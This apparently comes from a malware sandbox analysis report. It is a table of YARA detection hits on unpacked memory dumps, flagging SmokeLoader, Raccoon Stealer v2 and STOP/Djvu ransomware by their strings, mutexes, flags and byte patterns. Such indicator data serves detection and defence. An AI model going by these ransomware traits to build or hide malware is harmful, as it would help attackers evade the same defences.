0.2.file.exe.5e0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.2.253.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
18.2.253.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.253.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.253.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.file.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.0.253.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.2.253.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.2.253.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.253.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.253.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.3.959.exe.800000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
18.0.253.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
18.0.253.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.3.959.exe.800000.0.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
18.0.253.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
18.0.253.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
18.0.253.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.253.exe.23d15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
14.2.253.exe.23d15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.253.exe.23d15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.253.exe.23d15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
18.0.253.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.0.253.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.0.253.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.0.253.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.0.253.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.253.exe.23d15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
14.2.253.exe.23d15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.253.exe.23d15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.253.exe.23d15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
